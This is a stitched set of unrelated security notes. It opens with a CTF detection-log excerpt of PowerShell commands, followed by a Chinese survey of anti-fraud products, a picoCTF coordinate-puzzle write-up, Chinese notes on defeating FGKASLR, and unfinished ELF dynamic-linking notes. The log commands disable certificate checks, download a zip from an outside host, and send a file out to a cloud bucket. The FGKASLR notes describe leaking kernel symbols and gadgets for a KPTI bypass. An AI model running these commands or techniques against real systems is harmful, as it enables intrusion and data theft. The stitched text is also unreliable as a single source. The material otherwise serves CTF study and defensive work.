2022-06-24 10:27:55+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13613,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
2022-06-24 10:26:39+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13512,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",Executing Pipeline
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
}/$RemoteName;",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13632,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
}/$RemoteName;",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13626,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
2022-06-24 10:26:38+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13509,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",Executing Pipeline
2022-06-24 10:26:38+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13496,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",Executing Pipeline
2022-06-24 10:26:38+00,Event Time,ALLOW,PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1,PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13493,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C [System.Net.ServicePointManager]::ServerCertificateValidationCallback={ $True };$web=(New-Object System.Net.WebClient);$result=$web.DownloadFile(""https://transferwiser.io/efdin0i.zip""",Executing Pipeline
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
}/$RemoteName;",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13616,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
}/$RemoteName;",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13636,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
2022-06-24 10:27:55+00,Event Time,ALLOW,"PROCESS_LAUNCH by entity tech01 on asset kiosk.detectorsprotectors.biz : powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
}/$RemoteName;",PROCESS_LAUNCH,Microsoft,Microsoft-Windows-PowerShell,13611,4103,tech01,kiosk.detectorsprotectors.biz,null,"powershell.exe -ExecutionPolicy Bypass -C $SourceFile=(Get-Item #{host.dir.compress});$RemoteName=""exfil-xbhqwf-$($SourceFile.name)"";cloud gs cp #{transferwiser.io} gs://#{01000110 01001100 01000001 01000111 00111010.https://h[4]ck[1]n/g.go[og]le/s[ol]ve/d3_T3c_i0n_r35P_0ns3
```
The flag: `https://h4ck1ng.google/solve/d3_T3c_i0n_r35P_0ns3`.
|
sec-knowleage
|
# 反欺诈类产品调研
## 天御金融反欺诈
### 概览
From知道创宇
官网:`https://www.yunaq.com/product/jrfqz`
API文档:`https://www.yunaq.com/help/category?id=5f48c4633255140011afe04e`
> 金融反欺诈通过人工智能和机器学习能力,准确识别恶意用户与行为,解决客户在支付、借贷、风控等业务环节遇到的欺诈威胁,帮助客户提升风险识别能力,降低企业损失。
### 功能盘点
- 海量知识图谱
- 用于发现**有组织的团伙欺诈**行为
- 高效响应
- **黑产情报收集雷达**7*24工作
- 多维度风险识别
- 识别**不同类型**(信贷中介、不法分子、羊毛党、恶意欺诈、失信等)的欺诈风险
- 资深风控团队
- 超强AI计算
- 应用**机器学习、人工智能**到欺诈风险的识别中,构造**特征引擎**,迭代更新**黑产知识图谱**,有效识别各类欺诈风险
- 超高查得率
- 亿级别黑产库覆盖手机、设备、IP等多维度字段
### 核心功能分析
知道创宇的这个产品,主要的亮点在于,基于ZoomEye的网络空间测绘的全网数据,在设备覆盖率上较高。且在产品描述上,在知识图谱的应用上较多,对团伙发现上的偏重较多。
### 技术分析
- 知识图谱进行团伙发现
- 机器学习技术的应用,特征引擎构建
- 基于网络空间测绘数据,提升覆盖率
## 永安在线
### 概览
官网:`https://www.yazx.com/`
风险IP画像:`https://www.yazx.com/RiskIP.html`
手机号风险画像:`https://www.yazx.com/RiskPhoneNumber.html`
### 功能盘点
- 手机号风险画像
- 精准识别黑产手机号
- **风险标签**及时判断手机号风险等级,准确度达99.5%
- 解释说明风险来源
- 反馈风险号码**历史作恶行为和时间**
- 独家的“拦截卡”风险感知
- 更多的风险手机**黑卡类别**
- 号码风险定期再评估
- 对存量数据进行**盘点与再评估**
- 风险IP画像
- 实时判定IP状态,采取打分机制,量化风险值,精准识别恶意动态IP,解决由此带来的爬虫、撞库、薅羊毛等风险行为
- 识别动态恶意IP
- 识别利用**秒拨**等黑产工具伪装成正常用户IP的黑产资源
- 易用性
- **去除IP的复杂字段**说明,**量化风险值**,并实时更新
- 适用性
- 所有数据都**可以忽略场景不匹配**问题
### 核心功能分析
永安在线的这两种产品,在功能介绍上提及的技术点不是很多。主要的亮点初步看起来是在情报数据的易用性和可量化性上,并且也有结合永安在线多年的反欺诈经验。
### 技术分析
- 使用风险标签
- 结合历史的风险信息
- 具有号称独家的“拦截卡”手机黑卡类别
## 腾讯防水墙
### 概览
Before 黑产情报:`https://007.qq.com/before-insight.html?ADTAG=index.head`
金融反欺诈:`https://007.qq.com/finance-anti-fraud.html?ADTAG=aqpg.head`
### 功能盘点
- 黑产意图情报
- 产业链情报
- 团伙情报
- 资源情报
- 获利情报
---
- 海量安全数据
- 提炼、整合、挖掘腾讯安全场景数据,沉淀有百亿级点、千亿级边的庞大知识图谱体系,能有效识别异常行为
- 黑标签库
- 基于十年社交行为数据,沉淀上千种黑标签画像
- 团伙欺诈识别
- 对不同用户帐号、手机号、设备、实名信息、网络IP等属性,进行图挖掘/团伙挖掘关联性分析
### 核心功能分析
- 同样基于海量数据进行知识图谱构建、图挖掘和关联性分析,识别异常行为、发掘团伙信息
- 多类型的情报,总体围绕情报的6W来布局:When、Where 、Who、What、Why、hoW
- 基于腾讯多年沉淀的社交行为数据,在团伙发现、黑用户标签库上有优势
### 技术分析
- 机器学习聚合情报
- > 从安全大数据黑用户库、TSRC白帽子线索、暗网挖掘、黑产活动指标等海量数据中,找出重要的情报
- 聚合多个维度的情报:黑用户库、TSRC白帽子线索、暗网情报、黑产活动指标
- 安全专家定位威胁
- > 根据风险挖掘引擎发现的蛛丝马迹,安全专家能高效准确地定位到威胁的根源
- 结合人工的专家经验
- 情报网络评估影响
- > 我们打造了一个准确可靠的情报网络,可以根据特定黑产行动的频率和强度、黑产资源的活跃情况,精确推断出威胁的影响范围和规模
- 情报网络的构建(定义?),根据黑产活动的总体活跃情况来推断威胁
## 数美科技
数美黑产研究院官网:`https://www.ishumei.com/research/research.html`

图:数美黑产研究院研究成果
## 总结
综合三家的黑产情报&反欺诈类产品,总体还是处于标签数据输出的阶段,但也能看到都对团伙发现、关联性分析有研究。
比较有意思的是,三家都结合了**自身优势的数据**,例如知道创宇的网络空间测绘数据、永安在线的黑产对抗经验、腾讯的社交行为数据等。这也告诉我们,对抗黑产也要利用上自身的优势数据。
在技术点上来说,普遍使用了知识图谱构建的方式进行关联性分析、团伙发现。并且对设备覆盖率也总体较高(99%以上)。但对黑产产业链的研究这块目前只看到了腾讯防水墙这边有提及。
|
sec-knowleage
|
# Mr-Worldwide
Cryptography, 200 points
## Description:
> A musician left us a message. What's it mean?
```
picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}
```
## Solution:
These look like coordinates. If take the first letter of the location matching each of the coordinates, we get:
```
[K]yoto (35.028309, 135.753082)
[O]dessa (46.469391, 30.740883)
[D]ayton (39.758949, -84.191605)
[I]stanbul (41.015137, 28.979530)
[A]bu Dhabi (24.466667, 54.366669)
[K]uala Lumpur (3.140853, 101.693207)
_
[A]ddis Ababa (9.005401, 38.763611)
[L]oja (-3.989038, -79.203560)
[A]msterdam (52.377956, 4.897070)
[S]leepy Hollow (41.085651, -73.858467)
[K]odiak (57.790001, -152.407227)
[A]lexandria (31.205753, 29.924526)
---------------------------------------------
picoCTF{KODIAK_ALASKA}
```
Sometimes the location is a city, sometimes a region.
Due to this reason, it's hard to solve the challenge programmatically. The closest I got is by using the `geocode` field of a geocoding service, via the following script:
```python
import requests, re
flag = "picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}"
def get_letter_from_coordinate(match):
lat = match.group(1)
long = match.group(2)
r = requests.get("https://geocode.xyz/{},{}?json=1".format(lat, long))
j = r.json()
return j["geocode"][0]
print re.sub(r'\(([\d\.-]+), ([\d\.-]+)\)', get_letter_from_coordinate, flag)
```
Output:
```console
root@kali:/media/sf_CTFs/pico/Mr-Worldwide# python solve.py
picoCTF{KODIAK_ALANKA}
```
Although the output from the console is `picoCTF{KODIAK_ALANKA}`, the final answer is `picoCTF{KODIAK_ALASKA}` as mentioned above. Sleepy Hollow has a `geocode` of `NEWCITY-LCIXI` and an `altgeocode` of `SLEEPYUS-LCIXI`, however there was no clear rule when to prefer the `altgeocode` over the `geocode`, at least from a programmatic perspective.
Using other fields such as `city` or `region` provided worse results.
|
sec-knowleage
|
# FGKASLR
## 简介
鉴于 KASLR 的不足,有研究者实现了 FGKASLR。FGKASLR 在 KASLR 基地址随机化的基础上,在加载时刻,以函数粒度重新排布内核代码。
## 实现
FGKASLR 的实现相对比较简单,主要在两个部分进行了修改。目前,FGKASLR 只支持 x86_64 架构。
### 编译阶段
FGKASLR 利用 gcc 的编译选项 `-ffunction-sections` 把内核中不同的函数放到不同的 section 中。 在编译的过程中,任何使用 C 语言编写的函数以及不在特殊输入节的函数都会单独作为一个节;使用汇编编写的代码会位于一个统一的节中。
编译后的 vmlinux 保留了所有的节区头(Section Headers),以便于知道每个函数的地址范围。同时,FGKASLR 还有一个重定位地址的扩展表。通过这两组信息,内核在解压缩后就可以乱序排列函数。
最后的 binary 的第一个段包含了一个合并节(由若干个函数合并而成)、以及若干其它单独构成一个节的函数。
### 加载阶段
在解压内核后,会首先检查保留的符号信息,然后寻找需要随机化的 `.text.*` 节区。其中,第一个合并的节区(`.text`)会被跳过,不会被随机化。后面节区的地址会被随机化,但仍然会与 `.text` 节区相邻。同时,FGKASLR 修改了已有的用于更新重定位地址的代码,不仅考虑了相对于加载地址的偏移,还考虑了函数节区要被移动到的位置。
为了隐藏新的内存布局,/proc/kallsyms 中符号使用随机的顺序来排列。在 v4 版本之前,该文件中的符号按照字母序排列。
通过分析代码,我们可以知道,在 `layout_randomized_image` 函数中计算了最终会随机化的节区,存储在 sections 里。
```c
/*
* now we need to walk through the section headers and collect the
* sizes of the .text sections to be randomized.
*/
for (i = 0; i < shnum; i++) {
s = &sechdrs[i];
sname = secstrings + s->sh_name;
if (s->sh_type == SHT_SYMTAB) {
/* only one symtab per image */
if (symtab)
error("Unexpected duplicate symtab");
symtab = malloc(s->sh_size);
if (!symtab)
error("Failed to allocate space for symtab");
memcpy(symtab, output + s->sh_offset, s->sh_size);
num_syms = s->sh_size / sizeof(*symtab);
continue;
}
if (s->sh_type == SHT_STRTAB && i != ehdr->e_shstrndx) {
if (strtab)
error("Unexpected duplicate strtab");
strtab = malloc(s->sh_size);
if (!strtab)
error("Failed to allocate space for strtab");
memcpy(strtab, output + s->sh_offset, s->sh_size);
}
if (!strcmp(sname, ".text")) {
if (text)
error("Unexpected duplicate .text section");
text = s;
continue;
}
if (!strcmp(sname, ".data..percpu")) {
/* get start addr for later */
percpu = s;
continue;
}
if (!(s->sh_flags & SHF_ALLOC) ||
!(s->sh_flags & SHF_EXECINSTR) ||
!(strstarts(sname, ".text")))
continue;
sections[num_sections] = s;
num_sections++;
}
sections[num_sections] = NULL;
sections_size = num_sections;
```
可以看到,只有同时满足以下条件的节区才会参与随机化
- 节区名以 .text 开头
- section flags 中包含`SHF_ALLOC`
- section flags 中包含`SHF_EXECINSTR`
因此,通过以下命令,我们可以知道
- __ksymtab 不会参与随机化
- .data 不会参与随机化
```
> readelf --section-headers -W vmlinux| grep -vE " .text|AX"
...
[36106] .rodata PROGBITS ffffffff81c00000 e1e000 382241 00 WA 0 0 4096
[36107] .pci_fixup PROGBITS ffffffff81f82250 11a0250 002ed0 00 A 0 0 16
[36108] .tracedata PROGBITS ffffffff81f85120 11a3120 000078 00 A 0 0 1
[36109] __ksymtab PROGBITS ffffffff81f85198 11a3198 00b424 00 A 0 0 4
[36110] __ksymtab_gpl PROGBITS ffffffff81f905bc 11ae5bc 00dab8 00 A 0 0 4
[36111] __ksymtab_strings PROGBITS ffffffff81f9e074 11bc074 027a82 01 AMS 0 0 1
[36112] __init_rodata PROGBITS ffffffff81fc5b00 11e3b00 000230 00 A 0 0 32
[36113] __param PROGBITS ffffffff81fc5d30 11e3d30 002990 00 A 0 0 8
[36114] __modver PROGBITS ffffffff81fc86c0 11e66c0 000078 00 A 0 0 8
[36115] __ex_table PROGBITS ffffffff81fc8740 11e6738 001c50 00 A 0 0 4
[36116] .notes NOTE ffffffff81fca390 11e8388 0001ec 00 A 0 0 4
[36117] .data PROGBITS ffffffff82000000 11ea000 215d80 00 WA 0 0 8192
[36118] __bug_table PROGBITS ffffffff82215d80 13ffd80 01134c 00 WA 0 0 1
[36119] .vvar PROGBITS ffffffff82228000 14110d0 001000 00 WA 0 0 16
[36120] .data..percpu PROGBITS 0000000000000000 1413000 02e000 00 WA 0 0 4096
[36122] .rela.init.text RELA 0000000000000000 149eec0 000180 18 I 36137 36121 8
[36124] .init.data PROGBITS ffffffff822b6000 14a0000 18d1a0 00 WA 0 0 8192
[36125] .x86_cpu_dev.init PROGBITS ffffffff824431a0 162d1a0 000028 00 A 0 0 8
[36126] .parainstructions PROGBITS ffffffff824431c8 162d1c8 01e04c 00 A 0 0 8
[36127] .altinstructions PROGBITS ffffffff82461218 164b214 003a9a 00 A 0 0 1
[36129] .iommu_table PROGBITS ffffffff82465bb0 164fbb0 0000a0 00 A 0 0 8
[36130] .apicdrivers PROGBITS ffffffff82465c50 164fc50 000038 00 WA 0 0 8
[36132] .smp_locks PROGBITS ffffffff82468000 1651610 007000 00 A 0 0 4
[36133] .data_nosave PROGBITS ffffffff8246f000 1658610 001000 00 WA 0 0 4
[36134] .bss NOBITS ffffffff82470000 165a000 590000 00 WA 0 0 4096
[36135] .brk NOBITS ffffffff82a00000 1659610 02c000 00 WA 0 0 1
[36136] .init.scratch PROGBITS ffffffff82c00000 1659620 400000 00 WA 0 0 32
[36137] .symtab SYMTAB 0000000000000000 1a59620 30abd8 18 36138 111196 8
[36138] .strtab STRTAB 0000000000000000 1d641f8 219a29 00 0 0 1
[36139] .shstrtab STRTAB 0000000000000000 1f7dc21 0ed17b 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)
```
## 性能开销
FGKASLR 对于性能的影响主要来自于两个阶段:启动,运行。
### 启动阶段
在启动阶段,FGKASLR
- 需要解析内核的 ELF 文件来获取需要随机化的节区。
- 会调用随机数生成器来确定每个节区需要存储的地址,并进行布局。
- 会将原有解压的内核拷贝到另外一个地方,以便于避免内存破坏。
- 会增加内核需要重定位的次数。
- 需要检查每一个需要重定位的地址是否位于随机化的节区,如果是的话,需要调整一个新的偏移。
- 会重新排列那些需要按照地址排序的数据表。
在一个现代化的系统上,启动一个测试的 VM,大概花费了 1s。
### 运行阶段
运行阶段的开销其实主要取决于具体的负载。不过由于原先相邻的函数可能被随机化被放在不同的地址,所以相对而言,整体性能应该会有所降低。
## 内存开销
在启动阶段,FGKASLR 需要较多的堆内存。因此,FGKASLR 可能不适用于具有较小内存的系统上。这些内存会在内核解压后被释放。
## 程序大小影响
FGKASLR 会引入额外的节区头部信息,因此会增加 vmlinux 文件的大小。在标准的配置下,vmlinux 的大小会增加 3%。压缩后的镜像大小大概会增加 15%。
## 开启与关闭
### 开启
如果想要开启内核的 FGKASLR,你需要开启 `CONFIG_FG_KASLR=y` 选项。
FGKASLR 也支持模块的随机化,尽管 FGKASLR 只支持 x86_64 架构下的内核,但是该特性可以支持其它架构下的模块。我们可以使用 `CONFIG_MODULE_FG_KASLR=y` 来开启这个特性。
### 关闭
通过在命令行使用 `nokaslr` 关闭 KASLR 也同时会关闭 FGKASLR。当然,我们可以单独使用 `nofgkaslr` 来关闭 FGKASLR。
## 缺点
根据 FGKASLR 的特点,我们可以发现它具有以下缺陷
- 函数粒度随机化,如果函数内的某个地址知道了,函数内部的相对地址也就知道了。
- `.text` 节区不参与函数随机化。因此,一旦知道其中的某个地址,就可以获取该节区所有的地址。有意思的是系统调用的入口代码都在该节区内,主要是因为这些代码都是汇编代码。此外,该节区具有以下一些不错的 gadget
- swapgs_restore_regs_and_return_to_usermode,该部分的代码可以帮助我们绕过 KPTI 防护
- memcpy 内存拷贝
- sync_regs,可以把 RAX 放到 RDI 中
- `__ksymtab` 相对于内核镜像的偏移是固定的。因此,如果我们可以泄露数据,那就可以泄露出其它的符号地址,如prepare_kernel_cred、commit_creds。具体方式如下
- 基于内核镜像地址获取 __ksymtab 地址
- 基于 __ksymtab 获取对应符号记录项的地址
- 根据符号记录项中具体的内容来获取对应符号的地址
- data 节区相对于内核镜像的偏移也是固定的。因此在获取了内核镜像的基地址后,就可以计算出数据区数据的地址。这个节区有一些可以重点关注的数据
- modprobe_path
### __ksymtab 格式
__ksymtab 中每个记录项的名字的格式为 ` __ksymtab_func_name`,以 `prepare_kernel_cred` 为例,对应的记录项的名字为` __ksymtab_prepare_kernel_cred`,因此,我们可以直接通过该名字在 IDA 里找到对应的位置,如下
```assembly
__ksymtab:FFFFFFFF81F8D4FC __ksymtab_prepare_kernel_cred dd 0FF5392F4h
__ksymtab:FFFFFFFF81F8D500 dd 134B2h
__ksymtab:FFFFFFFF81F8D504 dd 1783Eh
```
`__ksymtab` 每一项的结构为
```c
struct kernel_symbol {
int value_offset;
int name_offset;
int namespace_offset;
};
```
第一个表项记录了重定位表项相对于当前地址的偏移。那么,`prepare_kernel_cred` 的地址应该为 `0xFFFFFFFF81F8D4FC-(2**32-0xFF5392F4)=0xffffffff814c67f0`。实际上也确实如此。
```assembly
.text.prepare_kernel_cred:FFFFFFFF814C67F0 public prepare_kernel_cred
.text.prepare_kernel_cred:FFFFFFFF814C67F0 prepare_kernel_cred proc near ; CODE XREF: sub_FFFFFFFF814A5ED5+52↑p
```
## 参考
- https://lwn.net/Articles/832434/
- https://github.com/kaccardi/linux/compare/fg-kaslr
- https://elixir.bootlin.com/linux/latest/source/include/linux/export.h#L60
- https://www.youtube.com/watch?v=VcqhJKfOcx4
- https://www.phoronix.com/scan.php?page=article&item=kaslr-fgkaslr-benchmark&num=1
|
sec-knowleage
|
# 程序链接
## 静态链接
## 动态链接
动态链接主要是在程序初始化时或者程序执行的过程中解析变量或者函数的引用。ELF文件中某些节区以及头部元素就与动态链接有关。动态链接的模型由操作系统定义并实现。
### Dynamic Linker
动态链接器可以用来帮助加载应用所需要的库并解析库所导出的动态符号(函数和全局变量)。
当使用动态链接来构造程序时,链接编辑器会在可执行文件的程序头部添加一个 PT_INTERP 类型的元素,以便于告诉系统将动态链接器作为程序解释器来调用。
> 需要注意的是,对于系统提供的动态链接器,不同的系统会不同。
可执行程序和动态链接器会合作起来为程序创建进程镜像,具体的细节如下:
1. 将可执行文件的内存段添加到进程镜像中。
2. 将共享目标文件的内存段添加到进程镜像中。
3. 为可执行文件以及共享目标文件进行重定位。
4. 如果传递给了动态链接器一个文件描述符的话,就将其关闭。
5. 将控制权传递给程序。这让我们感觉起来就好像程序直接从可执行文件处拿到了执行权限。
链接编辑器同样也创建了各种各样的数据来协助动态链接器来处理可执行文件和共享目标文件,例如
- 类型为SHT_DYNAMIC的节.dynamic包含了各种各样的数据,在这个节的开始处包含了其它动态链接的信息。
- 类型为SHT_HASH的节.hash包含了符号哈希表。
- 类型为SHT_PROGBITS的节.got以及.plt包含了两个独立的表:全局偏移表,过程链接表。程序会利用过程链接表来处理地址独立代码。
因为所有的UNIX System V都会从一个共享目标文件中导入基本的系统服务,动态链接器会参与到每一个TIS ELF-conforming的程序执行过程中。
正如程序加载中所说的,共享目标文件中可能会占用与程序头部中记录的不一样的虚拟地址。动态链接器会在程序拿到控制权前,重定位内存镜像,更新绝对地址。如果共享目标文件确实加载到了其在程序头部中指定的地址的话,那么那些绝对地址的值就会是正确的。但通常情况下,这种情况不会发生。
如果进程的环境中有名叫 LD_BIND_NOW 的非空值,那么动态连接器在把权限传递给程序时,会执行所有的重定位。例如,所有的如下环境变量的取值都会指定这一行为。
- LD_BIND_NOW = 1
- LD_BIND_NOW = on
- LD_BIND_NOW = off
否则,LD_BIND_NOW 要么不存在于当前的进程环境中,要么具有一个非空值。动态链接器可以延迟解析过程链接表的入口,这其实就是plt表的延迟绑定,即当程序需要使用某个符号时,再进行地址解析,这可以减少符号解析以及重定位的负载。
### Function Address
可执行文件中的函数的地址引用和共享目标中与其相关的引用可能并不会被解析为一个值。共享目标文件中对应的引用将会被动态链接器解析到函数本身对应的虚拟地址处。可执行文件中对应的引用(来自于共享目标文件)将会被链接编辑器解析为过程链接表中对应函数的项中的地址。
为了允许不同的函数地址可以按照期望进行工作,如果一个可执行文件引用了一个定义在共享目标文件中的函数,那么链接编辑器就会把相应函数的过程链接表项放到与它关联的符号表表项中。动态链接器会对这种符号表项进行特殊的处理。如果动态链接器在寻找一个符号,并且遇到了一个符号表项在可执行文件中的符号,那么它会遵循如下的规则:
1. 如果符号表项的`st_shndx` 不是`SHN_UNDEF ` ,动态链接器就会找到这个符号的定义,并且使用它的st_value来作为符号的地址。
2. 如果`st_shndx` 是`SHN_UNDEF` 并且符号的类型是`STT_FUNC` ,而且`st_value` 成员不是0,动态链接器就会把这个表项视为特殊的,并且使用`st_value` 的值作为符号的地址。
3. 否则,动态链接器就会认为在可执行文件中的符号是未定义的,然后继续处理。
一些重定位与过程链接表的表项相关。这些表项被用于直接函数调用,而不是引用函数地址。这些重定位并不会按照上面的方式进行处理,因为动态链接器必须不能重定向过程链接表项并使其指向它们本身。
### Shared Object Dependencies
当链接编辑器在处理一个归档库的时候,它会提取出库成员并且把它们拷贝到输出目标文件中。这种静态链接的操作在执行过程中是不需要动态连接器参与的。共享目标文件同时也提供了服务,动态链接器必须将合适的共享目标文件attach到进程镜像中,以便于执行。因此,可执行文件以及共享目标文件会专门描述他们的依赖关系。
当一个动态链接器为一个目标文件创建内存段时,在DT_NEEDED项中描述的依赖给出了需要什么依赖文件来支持程序的服务。通过不断地连接被引用的共享目标文件(即使一个共享目标文件被引用多次,它最后也只会被动态链接器连接一次)及它们的依赖,动态链接器建立了一个完全的进程镜像。当解析符号引用时,动态链接器会使用BFS(广度优先搜索)来检查符号表。也就是说,首先,它会检查可执行文件本身的符号表,然后才会按照顺序检查DT_NEEDED入口中的符号表,然后才会继续查看下一次依赖,依次类推。共享目标文件必须可以被程序读取,其它权限不一定需要。
依赖列表中的名字要么是DT_SONAME中的字符串,要么是用于构建对应目标文件的共享目标文件的路径名。例如,如果一个链接器使用了一个带有DT_SONAME项名字叫做lib1的共享目标文件以及一个其他路径名为/usr/lib/lib2的共享目标文件,那么可执行文件中将会包含lib1以及/usr/lib/lib2依赖列表。
如果一个共享目标文件具有一个或者多个/,例如/usr/lib/lib2或者directory/file,那么动态链接器会直接使用那个字符串来作为路径的名字。如果名字中没有/,比如lib1,那么以下的三种机制给出了共享目标文件搜索的顺序。
- 首先,动态数组标记DT_RPATH可能会给出一个包含一系列以:分割的目录的字符串。例如 /home/dir/lib:/home/dir2/lib: 告诉我们先在`/home/dir/lib`目录搜索,然后再在`/home/dir2/lib`搜索,最后在当前目录搜索。
- 其次,进程环境变量中的名叫LD_LIBRARY_PATH的变量包含了一系列上述所说格式的目录,最后可能会有一个;,后面跟着另外一个目录列表后面跟着另外一个目录列表。这里给出一个例子,效果与第一个所说的效果相同
